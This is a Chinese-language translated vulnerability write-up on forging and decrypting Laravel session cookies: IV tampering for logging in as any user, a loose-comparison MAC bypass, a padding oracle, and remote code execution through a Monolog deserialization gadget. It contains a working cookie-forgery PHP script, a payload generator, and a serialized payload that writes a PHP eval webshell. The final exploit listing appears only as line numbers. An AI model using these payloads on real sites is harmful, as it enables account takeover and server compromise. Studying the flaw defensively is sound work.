from:laravel-cookie-forgery-decryption-and-rce
0x00 内容
0x01 名词约定
下图为CBC模式加密过程
下图为CBC模式解密过程
- Plaintext: 明文(P)
- Ciphertext: 密文(C)
- Initialization Vector: 初始化向量(IV)
- Key: 密钥(K)
0x02 简介
Laravel PHP框架中的加密模块存在漏洞,攻击者能够利用该漏洞伪造session cookie来实现任意用户登录, 在某些情况下,攻击者能够伪造明文对应的密文,并以此来实行远程代码执行。
Laravel是一个免费,开源的PHP框架,它为现在的web开发人员提供了很多功能,包括基于cookie的session功能。 为了防止攻击者伪造cookie,Laravel会为其加密并带上一个消息认证码(MAC)。当接收到cookie时,会计算出相对应的MAC, 并与cookie所带的MAC做比较。如果两MAC不一致,则认为cookie已经被篡改,请求会被终止。
0x03 任意用户登录
下面的代码展示了MAC验证和解密过程:
$payload = json_decode(base64_decode($payload), true);
if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key))
throw new DecryptException("MAC for payload is invalid.");
$value = base64_decode($payload['value']);
$iv = base64_decode($payload['iv']);
$plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));
从上面的代码可以看出MAC只对value进行校验,并不能保证初始化向量(IV)的完整性。 Laravel使用Rijndael-256的密码分组链接(CBC)模式。 着也就意味着,没有对IV进行校验,攻击者能够任意修改第一个块的明文。
Laravel “remember me”的cookie格式是user ID字符串,因此恶意用户可以修改他们自个的session cookie,达到登录任意用户,假设我们的用户ID为"123"
,session cookie原始明文为s:3:"123";后接22byte的补充
:s:3:"123";\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16
(译者注: Laravel用的是PKCS7 padding,与PKCS5不同的是,PKCS5明确填充的内容psLen是1-8, 而PKCS7没有这限制。)
假设系统生成的cookie中的IV是这样子的:
V\xc5\xb5\x03\xf1\xd4"\xe5+>c\xffJPN\xad\x9f\xd6\xa0\x9cV\xe3@\x9c\xd5\xa0\xd1\xddS\x1d\xc9\x84
如果我们想伪造ID为1的用户,也就是cookie明文为s:1:"1";后接24byte的补充
,为了能够使服务器端成功解密出ID为1的明文, 需要按照以下步骤生成IV:
就获得了Pb 相对应的IVb,提交新的cookie,我们就成了ID为1的用户,也可以用同样的方法来登录其他ID。 对攻击者来说,能够登录任意用户也是相当牛逼的,但你能牛逼的程度取决于应用程序傻逼的程度。有没有一种方法, 能够通杀使用Laravel的应用呢?
0x04 发送任意密文
另外一个问题,进行MAC检验的时候使用的是!=
。这以为着PHP在实际比较前会进行类型判断。hash_hmac返回的结果永远都是字符串, 但是如果$payload['mac']
是一个整型,那么强制类型转换会使得伪造一个对应的MAC变得相对简单, 例如,正确的MAC以"0"或者其他非数字起头,那么整数0将与之匹配,如果以"1x"(x非数字),那么整数1与之匹配,依此类推。 (译者注:作者难道没有被1e[1-9]xxx坑过没?)
var_dump('abcdefg' == 0); // true
var_dump('1abcdef' == 1); // true
var_dump('2abcdef' == 2); // true
由于MAC是经过json_decode处理的,攻击者可以提供一个整型的MAC,这也就意味着,攻击者能够提供一个正确的MAC给任意密文。
0x05 解密密文
Laravel使用的是CBC模式的分组密码,我们也能够提供任意密文让其解密,我们是否能够实施一次牛逼哄哄的CBC padding oracle attack攻击呢? 答案是:在某种情况下,YES
一次有预谋的padding oracle attack攻击需要目标应用能够泄漏不同填充下解密的状态,回头看看解密过程的代码, 有三个地方填充状态可能会被泄漏:
- mcryptDecrypt(): 无侧漏,就是调用
mcrypt_decrypt()
,没对padding进行处理 - stripPadding(): 无明显侧漏,该方法检测padding是否合法,但不会报告错误,只是返回输入是否被篡改。 这里有个基于时间的边信道侧漏,是否多调用substr(),但是我们选择无视它。
- unserialize(): 当error reporting启用,一个不合法的PHP序列化字符串,它会侧漏输入字符串的长度。
嗯,当PHP reporting启用时(其实应该是Laravel的debug模式开启时),反序列化解密后的数据会告诉我们有多少byte的padding被去除, 例如unserialize()
爆出"offset X of 22 bytes"的错误时,我们就可以知道这里有10byte的padding。
这样的侧漏对于组织一次有预谋的padding oracle attack来说,足够!
0x06 为任意明文伪造合法的密文
既然有了个CBC decryption oracle,那就很有可能利用CBC-R技术来加密任意明文。
CBC模式的解密过程为 Pi=DK(Ci) xor Ci−1,C0=IV ,如果攻击者能够控制或者知晓 DK(Ci) 和Ci−1 , 他就能够生成他想要的明文块。既然这里有个选择密文攻击,很显然攻击者能够控制 Ci 和 Ci−1 , 至于DK(Ci)
我们能够利用decryption oracle获得,因此攻击者无需知道密钥K即可对任意明文加密。牛逼吧,如果应用程序使用了这套加密API,我们就伪造密文来执行敏感操作,但是这还是得取决于应用有多傻逼, 我们希望变得更牛逼。
0x07 发送任意密文
我们已经使用unserialize()
作为我们padding oracle的基础, 那我们再次利用unserialize()
作一次PHP对象注入来达到任意代码执行,如何?
经过搜索Laravel代码之后,发现还是蛮多类定义了__wakeup()
或者__destruct()
魔术方法, 不过我发现最有趣的一个类当属被很多项目引用的monolog PHP日志记录框架中的BufferHandler类,显然,如果payload利用的是被广泛应用的monolog而不是其他特定的类,会更为通用。 使用Composer(PHP依赖管理器)时,monolog很有可能被包含,因为它可能被注册为PHP class autoload,这也就意味着, monolog不用被明确的包含在我们请求的文件中,当我们反序列化的时候,PHP会自动寻找加载这个类。
BufferHandler类包装这另外一个log处理类,当BufferHandler对象被销毁时,BufferHandler对象会用它包含的实际处理log的对象处理它当前的log buffer,一个比较好的选择是能够存储到任意流资源(比如说文件流)的StreamHandler类,所以我们的计划是注入一个包含StreamHandler对象的BufferHandler对象,其中StreamHandler对象的流资源指向web根目录,并且BufferHandler内包含着带有php webshell的log buffer,好,计划通,行动。
利用下面的代码,很容易生成对应的payload:
<?php
require_once 'vendor/autoload.php';
use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\BufferHandler;
$handler = new BufferHandler(
new StreamHandler('target-file.php')
);
$handler->handle(array(
'level' => Logger::DEBUG,
'message' => '<?php eval(hex2bin($_GET[\'x\']));?>',
'extra' => array(),
));
print bin2hex(serialize($handler)) . "\n";
?>
上面的脚本会生成我们的payload:
O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29:"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:15:"target-file.php";}s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}
通过上面介绍的技巧,我们可以加密该payload,作为cookie提交上去的时候,代码就执行了。
0x08 译者总结
对于原作者所说的漏洞,我拿一个开源bloglaravel-4.1-simple-blog做实验,将关键文件回滚到存在漏洞状态,如果有人想研究,也可以在这laravel-cookie-forgery-decryption-and-rce.zip下载完整文件。
测试1 任意用户登录
在本地:
新注册一个账户fate0@fatezero.org,得到用户ID为62,利用以下代码即可获取指定ID用户的cookie
<?php
if ($argc < 4) {
print("[*] Usage ".$argv[0]." cookie userid targetid\n");
return;
}
$cookie = json_decode(base64_decode($argv[1]), true);
$userid = $argv[2];
$targetid = $argv[3];
$iv_a = base64_decode($cookie['iv']);
$p_a = addPadding(serialize($userid));
$p_b = addPadding(serialize($targetid));
$iv_b = base64_encode($iv_a ^ $p_a ^ $p_b);
$cookie['iv'] = $iv_b;
echo base64_encode(json_encode($cookie))."\n";
function addPadding($value) {
$block_size = 32;
$pad = $block_size - (strlen($value) % $block_size);
return $value.str_repeat(chr($pad), $pad);
}
?>
运行结果
测试2 利用padding oracle来实现RCE
我修改原作者生成payload的脚本,对比生成的payload和原作者给的payload,发现原作者把一些无用的protect属性给去除了, payload显得比较短,打算直接使用作者给的payload。
但是!原作者的payload留了个大坑,正常访问下,index.php的工作目录是web目录, 但是unserialize cookie之后产生的BufferHandler对象和字符串做运算,而BufferHandler类没实现__toString魔术方法, 从而导致触发fatal error,使用register_shutdown_function注册的回调函数$this->close被调用,但是!在我测试环境ubuntu 12.04 64bit + php 5.3.10
下,触发异常导致$this->close被调用的时候,工作环境被切换到了根路径'/',从而导致写文件失败。
另外一个坑是mac校验处,本来以为(10/16.0) ** 3 = 0.244140625
,开头连续三个数字字符的概率还算低,结果跑一遍才发现远远低估mac校验这里的情况了,比如说正确的校验值是79e58c735e1105d7222f321031a782251da88ebd08cdc1de926ead2df4b9d3fd
, 这种情况就让人很无奈。在实际情况中,正确的做法是换payload,在这里我就直接换key, 最后把key换成Http://WeiBo.COM/Fatez3r0/home?Y
。 由于程序推ciphertext,推cv的关联性,以及推1 byte cv的随机性,多线程在此处意义不大。
下面是我根据上面的原理编写的exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 |
|
运行结果